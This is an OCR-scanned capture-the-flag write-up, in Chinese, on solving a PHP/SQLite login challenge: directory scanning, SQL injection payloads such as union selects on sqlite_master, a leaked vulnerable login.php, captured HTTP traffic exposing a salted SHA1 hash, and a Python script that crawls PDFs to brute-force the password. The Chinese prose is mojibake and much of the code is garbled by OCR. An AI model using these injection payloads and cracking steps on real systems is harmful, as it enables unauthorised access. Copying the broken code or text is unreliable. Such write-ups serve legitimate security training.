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python dirsearch.py -u URL -e *

admin.php & FHE, N\ R HENono! Stahp?!

Admin-Panel

ID:

|admin |

Password:

Submit

Nono! Stahp?!

login.php 7 B FHE, BEFANRBE T, HHRELEEANN

Login

Login Page, do not try to hax here plox!
ID:

‘admin' or'1'="1 # ‘

Password:
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#i\ admin’ order by 3 #, HILIREE, RsqliteidEFE:

Warning: SQLite3:query(): Unable to prepare statement: 1, unrecognized token: "#" in /var/www/html/login.php on line 47

AE RWHPE, =% URL?debug T :
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<I—— TODO: Remove [ty Parameter! —>

debug T HILVERD, AT ERIEAHEKRAETIE, FREREERF"SalZ' /5 &Lidshat N :

{?php

if(isset($_POST[ usr’']) && isset($_POST[ pw 1)) {
Suser $_POST[ usr’'1;
Spass $_POST[ pw 1;

$db = new SQLite3(../fancy.db’);

Sres = $db—>query("SELECT 1id,name from Users where name= ".Suser.” and password= ".shal($pass. “Salz!”).”");
if (Sres) {
Srow = S$res—>fetchArray();
}
else{
echo “<br>Some Error occourred!”;
}
if(isset ($row[ id 1)) {
setcookie (" name’,” . $row[ name’ ], time() + 60, /7 ):
header ("Location: /7);
die();
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if(isset ($_GET[ debug 1))

highlight file(’ login.php');
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{!=— TODO: Remove ?debug-Parameter! -——>
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burpsuitedll, &EF EAEHEHEA, #HITHEAN:

Gecko /20100101 Firefox/73.0

Accept:

text/htmlapplication/xhtml+xml application/xml;q=0.9,image /we
bp,*/*;q=0.8

Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded
Content-Length: 55

Origin: http://111.198.29.45:58804

Connection: close

Referer: http: //111.198.29.45:58804 /login.php?debug
Upgrade-Insecure-Requests: 1

usr='union select name,sql from sqlite_master --+szw:1

MR R B 223 T SsqliteiE A :

usr="_union select name,sql from sqlite_master --+&pw=1

X-Powered-By: PHP/5.6.30

Set-Cookie:

name=+CREATE+TABLE+Users% 28id+int+primary+key%2Cnam
e+varchar%28255%29%2Cpassword+varchar%28255%29%2Ch
int+varchar%28255%29%29; expires=Sun, 08-Mar-2020
13:50:11 GMT; Max-Age=60; path=/

Location: /

Content-Length: 699

Connection: close

Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html>
<head>

<style>
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mi B A9 3R [6] T set-cookie 8, URLARRD G, WLIER|IRLZ 4.

CREATE TABLE Users(
id int primary key,

name varchar(255),
password varchar(255),
hint varchar(255)

)

usr="union select id,name from Users —+&pw=1
IR [E: name=+admin

usr="union select name,sql from sqlite_master -+&pw=1

iR [Fl: name=+3fab54a50e770d830c0416df817567662a9dc85¢

usr="union select name,hint from Users —+&pw=1
R[E: name=+my+fav+word+in+tmy+fav+paper%3F %21

EANH KRR BRI EAAlag, RAHRR myfavword in myfav paper, FAEPDFX M, BiRFE TFHPDF XM, REEAFHFE
i, B—EE"Salz' Bt Tshatin®, SHIEANBRKBAE, REEFKpassword
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K& TEHPDFHE & T wget #IH T3, HE2EEZ
wget V3 F#: wgetxx.com -r -np -nd -A .pdf
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-np: AEE (url B4 #H

-nd: NEIEF web WHEHFE (url BE) MEFEH
-A type: XfFHH

RXEIER—TPDOFXXFREMAT, W ERSHERBPALALLEER, SA—HEE, XFRHBMARIRAER, pdfplumber &
tEaF A, RS AR, PDFRME AR SCF M AT DURER (python 3.7)

#!/usr/bin/python
# coding = utf-8
import hashlib
import re

import os




import pdfplumber
import requests
from bs4 import BeautifulSoup

# 1BJHCEURL
def get_url(url):
try:
r = requests.get(url)
r.raise_for_status()
soup = BeautifulSoup(r.text, "html.parser")
tag_a_lst = soup.find_all('a")
link_set = set()
for i in tag_a_lst:
if ('../../" not in i['href']) and \
('8/index"' not in i['href'])
# Z# URL 49 “index.html’
href = url[:-10] + i[ "href']
link_set.add(href)
if ('pdf' not in href) and \
(i['href'] != "index.html'):
link_set.update(get_url(href))
link_set.discard(href)
return link_set
except:
print('get url error')
return {}
# TF#PDF X1
def download(url,path):
save_path = path + url.split('/")[-1]
try:
r = requests.get(url)
r.raise_for_status()
with open(save_path, 'wb') as file:
file.write(r.content)
file.close()
except:
print('download error')

# PDF XFHRBftxt X1
def pdf to_txt(pdf_file,txt_file):

try:
pdf = pdfplumber.open(pdf_file)
with open(txt_file, 'w+',encoding='UTF-8') as file:
for page in pdf.pages:
# BRI F
contents = page.extract_text()
file.write(contents)
file.close()
pdf.close()
except:
print('convert error')
def main():

url = 'http://111.198.29.45:31745/index.html’
root = 'D:/pdf_download/"'
link_1st = get_url(url)
for link in link_lst:
download(1link,root)
file_lst = os.listdir(root)
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for i in range(1,len(file_lst)):
pdf_file = root + file lst[i-1]
txt_file = root+'txt/%d.txt'%i
pdf_to_txt(pdf_file,txt_file)

with open(txt_file, 'r', encoding="'utf-8') as file:
f = file.read()
words_1lst = r.findall(f)
for j in words_lst:
pw = j + "Salz!"
encode = hashlib.shal(pw.encode('utf-8")).hexdigest()
if encode == "3fab54a50e770d830c0416df817567662a9dc85c":
print("password is :",3j)
break
if _name__ == "' main__ ":

main()
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